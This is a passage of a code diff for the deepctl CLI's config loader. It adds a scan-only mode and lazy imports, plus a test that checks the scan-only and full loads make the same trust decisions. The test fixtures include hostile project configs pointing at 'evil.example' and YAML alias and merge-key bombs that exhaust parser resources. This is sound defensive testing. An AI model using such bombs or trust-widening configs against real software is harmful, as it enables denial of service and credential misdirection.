+    """Whether ``Config._merge_config(data)`` is sure not to raise.
 
-    default_profile: str = "default"
-    active_profile: str | None = None  # Currently selected profile
-    profiles: dict[str, ProfileConfig] = Field(default_factory=dict)
-    output: OutputConfig = Field(default_factory=OutputConfig)
-    plugins: PluginConfig = Field(default_factory=PluginConfig)
-    update: UpdateConfig = Field(default_factory=UpdateConfig)
-    tools: ToolsConfig = Field(default_factory=ToolsConfig)
-    telemetry: TelemetryConfig = Field(default_factory=TelemetryConfig)
-    api: ApiConfig = Field(default_factory=ApiConfig)
+    True only for a mapping whose every key is a known field with a value of
+    the shape the merge walks (a mapping where it calls ``.items()``). The
+    scan-only Config skips the merge for such data; anything else is merged
+    for real, so a file the merge can't take prints the same warning in
+    both modes.
+    """
+    if not isinstance(data, dict):
+        return False
+    for key, value in data.items():
+        if key == "profiles":
+            if not isinstance(value, dict):
+                return False
+            for profile in value.values():
+                if not isinstance(profile, dict) or not set(profile) <= _PROFILE_FIELDS:
+                    return False
+        elif key in _SECTION_FIELDS:
+            if not isinstance(value, dict) or not set(value) <= _SECTION_FIELDS[key]:
+                return False
+        elif key not in _SCALAR_FIELDS:
+            return False
+    return True
 
 
 # Notices raised while loading config are queued, because config loads
@@ -297,7 +348,7 @@ def _open_trust_root_text() -> tuple[os.stat_result, Any, str | None] | None:
     """Like _open_trust_root, also returning the text the data came from."""
     try:
         st, data, why, text = _check_trust_root()
-    except (ValueError, yaml.YAMLError, OSError, RecursionError):
+    except (ValueError, _yaml_error(), OSError, RecursionError):
         return None  # UnicodeDecodeError and ConfigTooLarge are ValueErrors
     return (st, data, text) if st is not None and why is None else None
 
@@ -646,7 +697,7 @@ def _loads_back(text: str) -> bool:
         return False
     try:
         _yaml_from_text(text)
-    except (ValueError, yaml.YAMLError):  # never echoed: no content
+    except (ValueError, _yaml_error()):  # never echoed: no content
         return False
     return True
 
@@ -675,81 +726,6 @@ def _loads_back(text: str) -> bool:
 _MAX_NUMBER_CHARS = 64
 
 
-class _ConfigLoader(yaml.SafeLoader):
-    """SafeLoader for config files, bounded while it loads.
-
-    - Merge keys (``<<``): every merged entry in the document counts against
-      one budget. Each merged mapping is flattened first (its own merges
-      resolved) and charged at that full size before PyYAML copies it, so
-      neither one mapping merging many aliases, nor many mappings each
-      merging one, nor merges nested inside merges can grow past the node
-      limit.
-    - Nesting and size: the composer refuses a node more than 32
-      collections deep, flow or block, before the scanner reads any deeper,
-      and stops after 10,000 nodes.
-    - Numbers: no sexagesimal forms, and at most 64 characters.
-    """
-
-    def __init__(self, stream: Any) -> None:
-        super().__init__(stream)
-        self._merged = 0
-        self._depth = 0
-        self._nodes = 0
-
-    def compose_node(self, parent: Any, index: Any) -> Any:
-        self._nodes += 1
-        if self._nodes > _MAX_CONFIG_NODES + 1:  # the root, plus the limit
-            raise ConfigTooLarge("config too large")
-        self._depth += 1
-        try:
-            # 32 nested collections, plus the scalar inside the last one.
-            if self._depth > _MAX_CONFIG_DEPTH + 1:
-                raise ConfigTooLarge("config nested too deeply")
-            return super().compose_node(parent, index)
-        finally:
-            self._depth -= 1
-
-    def flatten_mapping(self, node: yaml.MappingNode) -> None:
-        for key_node, value_node in node.value:
-            if key_node.tag != _MERGE_TAG:
-                continue
-            if isinstance(value_node, yaml.SequenceNode):
-                merged = value_node.value
-            else:
-                merged = [value_node]
-            for sub in merged:
-                if isinstance(sub, yaml.MappingNode):
-                    # Charge what will be copied: its own merges first.
-                    self.flatten_mapping(sub)
-                    self._merged += len(sub.value)
-                    if self._merged > _MAX_CONFIG_NODES:
-                        raise ConfigTooLarge("config too large")
-        super().flatten_mapping(node)  # nested merges come back through here
-
-    def construct_yaml_int(self, node: Any) -> Any:
-        if len(self.construct_scalar(node)) > _MAX_NUMBER_CHARS:
-            raise ConfigTooLarge("config number too long")
-        return super().construct_yaml_int(node)
-
-    def construct_yaml_float(self, node: Any) -> Any:
-        if len(self.construct_scalar(node)) > _MAX_NUMBER_CHARS:
-            raise ConfigTooLarge("config number too long")
-        return super().construct_yaml_float(node)
-
-
-# A copied resolver table for this loader only; yaml.SafeLoader is untouched.
-_ConfigLoader.yaml_implicit_resolvers = {
-    first: [
-        (tag, regexp) for tag, regexp in resolvers if tag not in (_INT_TAG, _FLOAT_TAG)
-    ]
-    for first, resolvers in yaml.SafeLoader.yaml_implicit_resolvers.items()
-}
-_ConfigLoader.add_implicit_resolver(_INT_TAG, _INT_PATTERN, list("-+0123456789"))
-_ConfigLoader.add_implicit_resolver(_FLOAT_TAG, _FLOAT_PATTERN, list("-+0123456789."))
-_ConfigLoader.add_constructor(_INT_TAG, _ConfigLoader.construct_yaml_int)
-_ConfigLoader.add_constructor(_FLOAT_TAG, _ConfigLoader.construct_yaml_float)
-
-
 # Parses of config files, per process: dg builds several Config objects per
 # command. The file (at most 64 KiB) is read every time and the key is the
 # SHA-256 of those bytes, so a cached result always matches the content
@@ -774,7 +750,7 @@ def _parse_fd_text(f: Any) -> tuple[Any, str]:
         result: tuple[bool, Any]
         try:
             result = (True, _yaml_from_text(raw.decode("utf-8")))
-        except (ValueError, yaml.YAMLError) as exc:  # incl. ConfigTooLarge
+        except (ValueError, _yaml_error()) as exc:  # incl. ConfigTooLarge
             # without the traceback, which holds the raw text in its frames
             result = (False, exc.with_traceback(None))
         if len(_parse_cache) >= 16:
@@ -883,7 +859,7 @@ def _yaml_from_text(text: str, name: str = "config.yaml") -> Any:
     bounds merge keys, nesting and numbers while it loads (see
     _ConfigLoader), and the result is capped in size and depth.
     """
-    return _yaml_load(_ConfigLoader(_named_stream(text, name)))
+    return _yaml_load(_loaders()._ConfigLoader(_named_stream(text, name)))
 
 
 def _named_stream(text: str, name: str) -> io.StringIO:
@@ -905,25 +881,6 @@ def _yaml_load(loader: _ConfigLoader) -> Any:
     return data
 
 
-class _KeyWatchingLoader(_ConfigLoader):
-    """_ConfigLoader that notes a watched key repeated in one mapping."""
-
-    def __init__(self, stream: Any, watch: frozenset[str]) -> None:
-        super().__init__(stream)
-        self._watch = watch
-        self.repeated_key = False
-
-    def construct_mapping(self, node: Any, deep: bool = False) -> Any:
-        seen: set[str] = set()
-        for key_node, _ in node.value:
-            if isinstance(key_node, yaml.ScalarNode):
-                key = key_node.value
-                if key in self._watch and key in seen:
-                    self.repeated_key = True
-                seen.add(key)
-        return super().construct_mapping(node, deep=deep)
-
-
 def load_config_text(
     text: str, repeated: frozenset[str] = frozenset()
 ) -> tuple[Any, bool]:
@@ -934,7 +891,7 @@ def load_config_text(
     whether a key in ``repeated`` appears twice in one mapping. Raises
     ConfigTooLarge (a ValueError) or yaml.YAMLError, as a load does.
     """
-    loader = _KeyWatchingLoader(_named_stream(text, "config.yaml"), repeated)
+    loader = _loaders()._KeyWatchingLoader(_named_stream(text, "config.yaml"), repeated)
     return _yaml_load(loader), loader.repeated_key
 
 
@@ -978,13 +935,13 @@ def read_user_config_text(path: Path | str) -> str | None:
             return reader.text
     except FileNotFoundError:
         raise
-    except (ValueError, yaml.YAMLError, OSError, RecursionError):
+    except (ValueError, _yaml_error(), OSError, RecursionError):
         return None  # incl. a FIFO, device or directory (_NotRegularFile)
 
 
 def _load_error_summary(exc: BaseException) -> str:
     """Why a config file couldn't be loaded, without any of its content."""
-    if isinstance(exc, yaml.YAMLError):
+    if isinstance(exc, _yaml_error()):
         mark = getattr(exc, "problem_mark", None)
         if mark is not None:
             return f"invalid YAML at line {mark.line + 1}, column {mark.column + 1}"
@@ -1165,9 +1122,10 @@ def _set_path(data: dict[str, Any], path: tuple[str, ...], value: Any) -> None:
 
 def _model_default(path: tuple[str, ...]) -> Any:
     """The built-in default for a config leaf (``profiles.<name>.*`` included)."""
+    models = _models()
     if len(path) == 3 and path[0] == "profiles":
-        return ProfileConfig().model_dump().get(path[2])
-    return _flatten(DeepgramConfig().model_dump()).get(path)
+        return models.ProfileConfig().model_dump().get(path[2])
+    return _flatten(models.DeepgramConfig().model_dump()).get(path)
 
 
 def _host_entries(hosts: Any) -> list[str]:
@@ -1242,6 +1200,8 @@ def __init__(
         config_path: str | None = None,
         profile: str | None = None,
         base_url: str | None = None,
+        *,
+        scan_only: bool = False,
     ):
         """Initialize configuration manager.
 
@@ -1250,7 +1210,13 @@ def __init__(
             profile: Optional profile name to use
             base_url: Optional base URL from the command line (``--base-url``).
                 It applies to this run only and is never saved.
+            scan_only: Read the files and run every trust, permission and
+                allowlist check exactly as a full load does, with the same
+                notices, but don't build the settings (no pydantic). For
+                ``--help``: such a Config has ``config_path`` and
+                ``user_config_text`` and nothing else to read.
         """
+        self._scan_only = scan_only
         self.config_path = (
             Path(config_path) if config_path else self._get_default_config_path()
         )
@@ -1263,7 +1229,6 @@ def __init__(
         self._trusted_file = False
         # Set when the default file is distrusted in an AI agent session.
         self._untrusted_reason: str | None = None
-        self._config: DeepgramConfig
         # Raw user-file data: the only layer save() writes back.
         self._user_data: dict[str, Any] = {}
         # True when the user file exists but couldn't be read or parsed:
@@ -1290,6 +1255,24 @@ def __init__(
         self.user_config_text: str | None = None
         self._load_config()
 
+    @property
+    def _config(self) -> DeepgramConfig:
+        """The merged settings. A scan-only Config has none: reading them is
+        a programming error, never a silent default."""
+        model = self.__dict__.get("_model")
+        if model is None:
+            raise RuntimeError("a scan-only Config holds no settings")
+        return cast("DeepgramConfig", model)
+
+    @_config.setter
+    def _config(self, value: DeepgramConfig) -> None:
+        self.__dict__["_model"] = value
+
+    @property
+    def scan_only(self) -> bool:
+        """True when only the file scan ran (``scan_only=True``)."""
+        return self._scan_only
+
     @property
     def profile(self) -> str | None:
         """Get the current profile name.
@@ -1370,18 +1353,35 @@ def _load_config(self) -> None:
         finally:
             self._loading = False
         if self._load_busy:
-            # The saved settings are unknown, the telemetry opt-out included.
-            self._config.telemetry.enabled = False
+            # The saved settings are unknown, the telemetry opt-out included
+            # (a scan-only Config has no settings; user_config_refused says
+            # the same to telemetry).
+            if not self._scan_only:
+                self._config.telemetry.enabled = False
             self._trusted_file = False
+        if self._scan_only:
+            return
         # A single host written as a string is a one-item list.
         hosts = self._config.api.allowed_hosts
         if isinstance(hosts, str):
             self._config.api.allowed_hosts = [hosts]
         self._baseline = self._config.model_dump(warnings=False)
 
+    def _merge_layer(self, data: Any) -> None:
+        """Merge one file's data into the settings. A scan-only Config skips
+        the merge when it can't fail (``_merge_is_safe``) and otherwise runs
+        it, so a file the merge can't take warns exactly as in a full load."""
+        if self._scan_only and _merge_is_safe(data):
+            return
+        if "_model" not in self.__dict__:
+            self._config = _models().DeepgramConfig()
+        self._merge_config(data)
+
     def _load_layers(self) -> None:
-        # Start with default configuration
-        self._config = DeepgramConfig()
+        # Start with default configuration (a scan-only Config builds none).
+        self.__dict__.pop("_model", None)
+        if not self._scan_only:
+            self._config = _models().DeepgramConfig()
         self._key_untrusted = False
         self._key_untrusted_why: str | None = None
 
@@ -1417,7 +1417,7 @@ def _load_layers(self) -> None:
                             user_config = _without_api_keys(user_config)
                         if not self._trusted_file:
                             user_config = self._filter_custom_config(user_config)
-                    self._merge_config(user_config)
+                    self._merge_layer(user_config)
                     if isinstance(user_config, dict):
                         self._note_base_url_sources(user_config, SOURCE_USER)
             except Exception as e:
@@ -1442,7 +1442,7 @@ def _load_layers(self) -> None:
                     project_config = f.load()
                     if project_config:
                         allowed = self._filter_project_config(project_config)
-                        self._merge_config(allowed)
+                        self._merge_layer(allowed)
                         self._note_base_url_sources(allowed, SOURCE_PROJECT)
             except Exception as e:
                 _queue_notice(
@@ -1455,6 +1455,11 @@ def _load_layers(self) -> None:
                     quiet_ok=False,
                 )
 
+        if self._scan_only:
+            # The environment and --base-url only set values: nothing to
+            # check or report.
+            return
+
         # Override with environment variables
         self._load_env_config()
 
@@ -1664,7 +1669,7 @@ def _filter_project_config(self, data: Any) -> dict[str, Any]:
         for key, value in data.items():
             key = str(key)
             if key == "output" and isinstance(value, dict):
-                fields = OutputConfig.model_fields
+                fields = _OUTPUT_FIELDS
                 kept = {k: v for k, v in value.items() if k in fields}
                 for k in value:
                     if k not in fields:
@@ -1825,11 +1830,12 @@ def _warn_project_base_url(
 
     def _merge_config(self, config_dict: dict[str, Any]) -> None:
         """Merge configuration dictionary into current config."""
+        models = _models()
         # Deep merge configuration
         if "profiles" in config_dict:
             for profile_name, profile_config in config_dict["profiles"].items():
                 if profile_name not in self._config.profiles:
-                    self._config.profiles[profile_name] = ProfileConfig()
+                    self._config.profiles[profile_name] = models.ProfileConfig()
 
                 # Update profile config
                 for key, value in profile_config.items():
@@ -1839,7 +1845,7 @@ def _merge_config(self, config_dict: dict[str, Any]) -> None:
         # Update other top-level config
         for key, value in config_dict.items():
             if key != "profiles" and hasattr(self._config, key):
-                if isinstance(getattr(self._config, key), BaseModel):
+                if isinstance(getattr(self._config, key), models.BaseModel):
                     # Handle nested models
                     nested_model = getattr(self._config, key)
                     for nested_key, nested_value in value.items():
@@ -1910,7 +1916,7 @@ def _set_config_value(self, path: str, value: Any) -> None:
                 # These belong to the current profile
                 profile_name = self.profile or self._config.default_profile
                 if profile_name not in self._config.profiles:
-                    self._config.profiles[profile_name] = ProfileConfig()
+                    self._config.profiles[profile_name] = _models().ProfileConfig()
                 setattr(self._config.profiles[profile_name], path, value)
             else:
                 setattr(self._config, path, value)
@@ -1939,7 +1945,7 @@ def get_profile(self, profile_name: str | None = None) -> ProfileConfig:
         profile_name = profile_name or self.profile or self._config.default_profile
 
         if profile_name not in self._config.profiles:
-            self._config.profiles[profile_name] = ProfileConfig()
+            self._config.profiles[profile_name] = _models().ProfileConfig()
 
         return self._config.profiles[profile_name]
 
@@ -2008,7 +2014,9 @@ def _default_file_allowed_hosts(self) -> Any:
                 if _same_file(self.config_path, default):
                     return []
                 _, data = _read_yaml_fd(default)
-        except (OSError, yaml.YAMLError, ValueError):
+        except Exception as exc:
+            if not _is_parse_error(exc):
+                raise
             return []
         api = data.get("api") if isinstance(data, dict) else None
         return api.get("allowed_hosts") if isinstance(api, dict) else []
@@ -2130,7 +2138,9 @@ def check_saveable(self) -> None:
         if why is not None:
             raise _save_refused(why, self.config_path)
         if not self._load_failed and not _loads_back(
-            yaml.safe_dump(self._user_data, default_flow_style=False, sort_keys=False)
+            _yaml().safe_dump(
+                self._user_data, default_flow_style=False, sort_keys=False
+            )
         ):
             # The file loaded, but written back it wouldn't: no save of it can
             # succeed (the same check a save makes).
@@ -2171,6 +2181,7 @@ def _write_user_file(
     def _write_user_file_locked(
         self, apply: Callable[[dict[str, Any]], None], implicit: bool
     ) -> dict[str, Any] | None:
+        yaml = _yaml()
         target = Path(os.path.realpath(self.config_path))
         _private_mkdir(target.parent)
         if _same_file(self.config_path, _default_config_file()):
@@ -2182,7 +2193,7 @@ def _write_user_file_locked(
                 st, data = _read_for_update(target)
             except _ConfigBusy:
                 raise
-            except (OSError, ValueError, yaml.YAMLError) as exc:
+            except (OSError, ValueError, _yaml_error()) as exc:
                 data = exc
             if not isinstance(data, dict):
                 if implicit:
@@ -2255,7 +2266,9 @@ def create_profile(self, name: str, **kwargs: Any) -> None:
         kwargs.pop("base_url", None)
         existing = self._config.profiles.get(name)
         base_url = existing.base_url if existing is not None else DEFAULT_BASE_URL
-        self._config.profiles[name] = ProfileConfig(base_url=base_url, **kwargs)
+        self._config.profiles[name] = _models().ProfileConfig(
+            base_url=base_url, **kwargs
+        )
         for key in kwargs:
             self._explicit.add(("profiles", name, key))
         self.save()
diff --git a/packages/deepctl-core/src/deepctl_core/config_models.py b/packages/deepctl-core/src/deepctl_core/config_models.py
new file mode 100644
index 00000000..9ebb2a39
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/config_models.py
@@ -0,0 +1,83 @@
+"""The settings models behind ``Config`` (pydantic).
+
+Kept out of ``deepctl_core.config`` so that reading the config files, and
+deciding what they may set, doesn't import pydantic: ``dg <cmd> --help``
+runs that scan and never needs the models. ``Config`` imports this module
+the first time it builds them.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+from pydantic import BaseModel, Field
+
+from .hosts import DEFAULT_BASE_URL
+
+
+class ProfileConfig(BaseModel):
+    """Configuration for a specific profile."""
+
+    api_key: str | None = None
+    project_id: str | None = None
+    base_url: str = DEFAULT_BASE_URL
+    dg_token_expires_at: str | None = None
+
+
+class OutputConfig(BaseModel):
+    """Output formatting configuration."""
+
+    format: str = Field(default="json", pattern="^(json|yaml|table|csv)$")
+    color: bool = True
+    quiet: bool = False
+    verbose: bool = False
+
+
+class PluginConfig(BaseModel):
+    """Plugin configuration."""
+
+    enabled: list[str] = Field(default_factory=list)
+    disabled: list[str] = Field(default_factory=list)
+
+
+class UpdateConfig(BaseModel):
+    """Update configuration."""
+
+    check_enabled: bool = True
+    check_frequency: str = "daily"  # daily, weekly, never
+    last_check: str | None = None
+    installation_method: str | None = None
+    installation_path: str | None = None
+    cached_version_info: dict[str, Any] | None = None
+
+
+class ToolsConfig(BaseModel):
+    """External tools configuration."""
+
+    ffprobe_path: str | None = None
+
+
+class TelemetryConfig(BaseModel):
+    """Telemetry setting, still accepted. This version sends no telemetry."""
+
+    enabled: bool = True
+
+
+class ApiConfig(BaseModel):
+    """API host trust configuration. Read from the user config file only."""
+
+    allowed_hosts: list[str] = Field(default_factory=list)
+
+
+class DeepgramConfig(BaseModel):
+    """Main configuration model."""
+
+    default_profile: str = "default"
+    active_profile: str | None = None  # Currently selected profile
+    profiles: dict[str, ProfileConfig] = Field(default_factory=dict)
+    output: OutputConfig = Field(default_factory=OutputConfig)
+    plugins: PluginConfig = Field(default_factory=PluginConfig)
+    update: UpdateConfig = Field(default_factory=UpdateConfig)
+    tools: ToolsConfig = Field(default_factory=ToolsConfig)
+    telemetry: TelemetryConfig = Field(default_factory=TelemetryConfig)
+    api: ApiConfig = Field(default_factory=ApiConfig)
diff --git a/packages/deepctl-core/src/deepctl_core/output.py b/packages/deepctl-core/src/deepctl_core/output.py
index 7232c9ed..f05d231a 100644
--- a/packages/deepctl-core/src/deepctl_core/output.py
+++ b/packages/deepctl-core/src/deepctl_core/output.py
@@ -103,11 +103,14 @@ class _LazyConsole:
     ``stderr_console`` never changes.
     """
 
-    __slots__ = ("_deepctl_console", "_deepctl_kwargs")
+    __slots__ = ("_deepctl_console", "_deepctl_kwargs", "_deepctl_quiet")
 
     def __init__(self, **kwargs: Any) -> None:
         object.__setattr__(self, "_deepctl_kwargs", kwargs)
         object.__setattr__(self, "_deepctl_console", None)
+        # ``quiet`` set before the console exists: applied when it's built,
+        # so setup_output() doesn't import rich for a run that prints nothing.
+        object.__setattr__(self, "_deepctl_quiet", None)
 
     def _deepctl_real(self) -> Console:
         real = object.__getattribute__(self, "_deepctl_console")
@@ -116,12 +119,21 @@ def _deepctl_real(self) -> Console:
 
             real = Console(**object.__getattribute__(self, "_deepctl_kwargs"))
             object.__setattr__(self, "_deepctl_console", real)
+            quiet = object.__getattribute__(self, "_deepctl_quiet")
+            if quiet is not None:
+                real.quiet = quiet
         return cast("Console", real)
 
     def __getattr__(self, name: str) -> Any:
         return getattr(self._deepctl_real(), name)
 
     def __setattr__(self, name: str, value: Any) -> None:
+        if (
+            name == "quiet"
+            and object.__getattribute__(self, "_deepctl_console") is None
+        ):
+            object.__setattr__(self, "_deepctl_quiet", value)
+            return
         setattr(self._deepctl_real(), name, value)
 
     def __delattr__(self, name: str) -> None:
diff --git a/packages/deepctl-core/tests/unit/test_config_scan.py b/packages/deepctl-core/tests/unit/test_config_scan.py
new file mode 100644
index 00000000..41ab819d
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_config_scan.py
@@ -0,0 +1,585 @@
+"""A scan-only Config (``Config(scan_only=True)``, for ``--help``) reads the
+same files and makes the same trust, permission and allowlist decisions as a
+full one, with the same notices, warnings and side effects. It only skips
+building the settings, so pydantic isn't imported.
+
+Each scenario is built afresh for each mode in the same directory (a
+permission fix changes the file), and everything observable is compared.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import io
+import itertools
+import os
+import shutil
+import stat
+import subprocess
+import sys
+from collections.abc import Callable
+from pathlib import Path
+from typing import Any
+from unittest import mock
+
+import pytest
+import yaml
+from deepctl_core import config as config_module
+from deepctl_core import hosts, output
+from deepctl_core.config import Config
+from deepctl_core.config_models import (
+    DeepgramConfig,
+    OutputConfig,
+    ProfileConfig,
+)
+
+pytestmark = pytest.mark.skipif(
+    not sys.platform.startswith("linux"), reason="XDG layout (Linux)"
+)
+
+KEY = "fa1ce0000000000000000000000000000000000d"
+TRUST_CONFIG = {
+    "api": {"allowed_hosts": ["127.0.0.1:8000"]},
+    "profiles": {"default": {"base_url": "http://127.0.0.1:8000", "api_key": KEY}},
+    "tools": {"ffprobe_path": "/repo/tools/ffprobe"},
+    "plugins": {"enabled": ["x"]},
+    "update": {"check_enabled": False},
+    "telemetry": {"enabled": False},
+    "output": {"format": "table"},
+}
+W_PF_PROJECT = {
+    "api": {"allowed_hosts": ["evil.example"]},
+    "tools": {"ffprobe_path": "/tmp/evil"},
+    "telemetry": {"a": 1, "b": 2, "c": 3, "d": 4},
+    "update": {"check_enabled": False},
+    "plugins": {"allow_override": ["login"]},
+    "api_key": KEY,
+    "project_id": "p",
+    "active_profile": "evil",
+    "default_profile": "evil",
+    "base_url": "http://evil.example",
+    "output": {"format": "json", "bogus": 1},
+    "profiles": {
+        "x": {
+            "api_key": KEY,
+            "project_id": "p",
+            "dg_token_expires_at": "t",
+            "base_url": "http://evil.example",
+            "other": 1,
+        },
+        "eu": {"base_url": "https://api.eu.deepgram.com"},
+        "y": 5,
+    },
+    "random": 1,
+}
+CUSTOM_CONFIG = {
+    "api": {"allowed_hosts": ["evil.example"]},
+    "tools": {"ffprobe_path": "/tmp/evil"},
+    "plugins": {"allow_override": ["login"]},
+    "update": {"a": 1, "b": 2, "c": 3, "d": 4},
+    "profiles": {
+        "default": {"api_key": KEY, "base_url": "http://evil.example"},
+        "eu": {"base_url": "https://api.eu.deepgram.com"},
+    },
+}
+# Data a merge can't take (it prints "Warning: Could not load config"), or
+# keys it skips: the scan must fall back to a real merge for each.
+ODD_USER_FILES = [
+    "- a\n- b\n",
+    "just a string\n",
+    "5\n",
+    "profiles: 5\n",
+    "profiles:\n  a: 5\n",
+    "profiles:\n  a: null\n",
+    "foo: 1\n",
+    "model_config: 1\n",
+    "output: 5\n",
+    "output: null\n",
+    "profiles:\n  a:\n    copy: 1\n",
+    "profiles:\n  a:\n    api_key: k\n    extra: 1\n",
+    "output:\n  model_dump: 1\n",
+    "1: 2\n",
+    "profiles:\n  a:\n    1: 2\n",
+    ": : :\n",
+    "",
+    "null\n",
+    "default_profile: [1, 2]\n",
+]
+
+
+def _dump(data: Any) -> str:
+    return yaml.safe_dump(data, sort_keys=False)
+
+
+class Scene:
+    """Where the files of one scenario go."""
+
+    def __init__(self, root: Path) -> None:
+        self.root = root
+        self.home = root / "home"
+        self.real_home = self.home
+        self.cwd = root / "work"
+        self.config_kwargs: dict[str, Any] = {}
+        # Another user owns the files (getuid/geteuid report a different id
+        # while Config loads).
+        self.foreign = False
+        # Descriptors held open (a writer's lock) until the load is observed.
+        self.held: list[int] = []
+
+    @property
+    def user_file(self) -> Path:
+        return self.home / ".config" / "deepctl" / "config.yaml"
+
+    def user(self, text: str | bytes, mode: int = 0o600) -> None:
+        self.user_file.parent.mkdir(parents=True, exist_ok=True)
+        if isinstance(text, bytes):
+            self.user_file.write_bytes(text)
+        else:
+            self.user_file.write_text(text)
+        os.chmod(self.user_file, mode)
+
+    def project(self, text: str) -> None:
+        (self.cwd / "deepgram.yaml").write_text(text)
+
+
+def _none(scene: Scene) -> None:
+    del scene
+
+
+def _trusted_key_0644(scene: Scene) -> None:
+    scene.user(_dump({"profiles": {"default": {"api_key": KEY}}}), 0o644)
+
+
+def _trusted(scene: Scene) -> None:
+    scene.user(_dump(TRUST_CONFIG))
+
+
+def _w_pf(scene: Scene) -> None:
+    scene.user(_dump(TRUST_CONFIG))
+    scene.project(_dump(W_PF_PROJECT))
+
+
+def _w_pf_no_user(scene: Scene) -> None:
+    scene.project(_dump(W_PF_PROJECT))
+
+
+def _project_yaml_error(scene: Scene) -> None:
+    scene.project("a: [\n")
+
+
+def _project_list(scene: Scene) -> None:
+    scene.project("- 1\n- 2\n")
+
+
+def _custom(scene: Scene) -> None:
+    path = scene.root / "repo" / "dg.yaml"
+    path.parent.mkdir(parents=True)
+    path.write_text(_dump(CUSTOM_CONFIG))
+    os.chmod(path, 0o600)
+    scene.user(_dump(TRUST_CONFIG))
+    scene.config_kwargs = {"config_path": str(path)}
+
+
+def _fake_home(scene: Scene) -> None:
+    """HOME isn't the account's home: in an AI agent session the file under
+    it is distrusted (one W-CFG-UNTRUSTED line per refused key)."""
+    scene.real_home = scene.root / "realhome"
+    scene.real_home.mkdir()
+    scene.user(_dump(TRUST_CONFIG))
+
+
+def _writable_key(scene: Scene) -> None:
+    scene.user(_dump({"profiles": {"default": {"api_key": KEY}}}), 0o666)
+
+
+def _symlinked(scene: Scene) -> None:
+    target = scene.root / "dotfiles" / "config.yaml"
+    target.parent.mkdir(parents=True)
+    target.write_text(_dump(TRUST_CONFIG))
+    os.chmod(target, 0o600)
+    scene.user_file.parent.mkdir(parents=True, exist_ok=True)
+    scene.user_file.symlink_to(target)
+
+
+def _foreign_key(scene: Scene) -> None:
+    """Another user's file with API keys: in an AI agent session the keys
+    aren't used (one W-CFG-UNTRUSTED "owner" line each)."""
+    scene.user(
+        _dump({"api_key": KEY, "profiles": {"default": {"api_key": KEY}, "b": {}}})
+    )
+    scene.foreign = True
+
+
+def _foreign_trust(scene: Scene) -> None:
+    """Another user's file that would widen trust: refused as the trust
+    root in an AI agent session ("owner")."""
+    scene.user(_dump(TRUST_CONFIG))
+    scene.foreign = True
+
+
+def _foreign_key_0644(scene: Scene) -> None:
+    scene.user(_dump({"profiles": {"default": {"api_key": KEY}}}), 0o644)
+    scene.foreign = True
+
+
+def _not_utf8(scene: Scene) -> None:
+    scene.user(b"profiles:\n  a: \xff\xfe\n")
+
+
+def _fifo_user(scene: Scene) -> None:
+    scene.user_file.parent.mkdir(parents=True, exist_ok=True)
+    os.mkfifo(scene.user_file, 0o600)
+
+
+def _fifo_project(scene: Scene) -> None:
+    os.mkfifo(scene.cwd / "deepgram.yaml", 0o600)
+
+
+def _oversize_user(scene: Scene) -> None:
+    scene.user("output:\n  format: json\n# " + "x" * (64 << 10) + "\n")
+
+
+def _busy_user(scene: Scene) -> None:
+    """Another dg process is rewriting the file in place (exclusive flock):
+    the read gives up after the wait, and nothing from the file is used."""
+    import fcntl
+
+    scene.user(_dump(TRUST_CONFIG))
+    fd = os.open(scene.user_file, os.O_RDONLY)
+    fcntl.flock(fd, fcntl.LOCK_EX)
+    scene.held.append(fd)
+
+
+BOMBS = sorted(
+    (Path(__file__).resolve().parents[4] / "tests" / "unit" / "fixtures" / "config_bombs").glob(
+        "*.yaml"
+    )
+)
+
+
+def _bomb(path: Path, where: str) -> Callable[[Scene], None]:
+    def build(scene: Scene) -> None:
+        text = path.read_text()
+        if where == "user":
+            scene.user(text)
+        else:
+            scene.project(text)
+
+    build.__name__ = f"bomb {path.stem} {where}"
+    return build
+
+
+def _odd(text: str) -> Callable[[Scene], None]:
+    def build(scene: Scene) -> None:
+        scene.user(text)
+
+    build.__name__ = f"odd {text!r}"
+    return build
+
+
+SCENARIOS: list[Callable[[Scene], None]] = [
+    _none,
+    _trusted_key_0644,
+    _trusted,
+    _w_pf,
+    _w_pf_no_user,
+    _project_yaml_error,
+    _project_list,
+    _custom,
+    _fake_home,
+    _writable_key,
+    _symlinked,
+    _foreign_key,
+    _foreign_trust,
+    _foreign_key_0644,
+    _not_utf8,
+    *[_odd(text) for text in ODD_USER_FILES],
+    _fifo_user,
+    _fifo_project,
+    _oversize_user,
+    _busy_user,
+    *[_bomb(path, where) for path in BOMBS for where in ("user", "project")],
+    _odd(
+        "a: &a [x, x, x, x, x, x, x, x, x, x]\n"
+        "b: &b [*a, *a, *a, *a, *a, *a, *a, *a, *a, *a]\n"
+        "c: &c [*b, *b, *b, *b, *b, *b, *b, *b, *b, *b]\n"
+        "d: &d [*c, *c, *c, *c, *c, *c, *c, *c, *c, *c]\n"
+        "e: [*d, *d, *d, *d, *d, *d, *d, *d, *d, *d]\n"
+    ),
+    _odd(
+        "m0: &m0 {k0: 0, k1: 1, k2: 2, k3: 3, k4: 4, k5: 5, k6: 6, k7: 7}\n"
+        + "".join(
+            f"m{i}: &m{i} {{<<: [*m{i - 1}, *m{i - 1}], x{i}: {i}}}\n"
+            for i in range(1, 12)
+        )
+    ),
+]
+
+
+def _observe(
+    scene_builder: Callable[[Scene], None],
+    root: Path,
+    monkeypatch: pytest.MonkeyPatch,
+    *,
+    agent: bool,
+    scan_only: bool,
+) -> dict[str, Any]:
+    if root.exists():
+        for path in root.rglob("*"):
+            if not path.is_symlink():
+                os.chmod(path, 0o700 if path.is_dir() else 0o600)
+        shutil.rmtree(root)
+    scene = Scene(root)
+    scene.home.mkdir(parents=True)
+    scene.cwd.mkdir()
+    monkeypatch.setattr(config_module, "_LOCK_TIMEOUT", 0.2)
+    scene_builder(scene)
+    monkeypatch.setattr(config_module, "_pending_notices", [])
+    monkeypatch.setattr(config_module, "_seen_notices", set())
+    monkeypatch.setattr(hosts, "_reported", set())
+    monkeypatch.setattr(config_module, "_real_home", lambda: str(scene.real_home))
+    monkeypatch.setattr(output, "is_ai_agent", lambda: agent)
+    monkeypatch.setenv("HOME", str(scene.home))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    monkeypatch.chdir(scene.cwd)
+    out, err = io.StringIO(), io.StringIO()
+    result: dict[str, Any] = {}
+    owner = contextlib.ExitStack()
+    if scene.foreign:
+        other = os.getuid() + 1
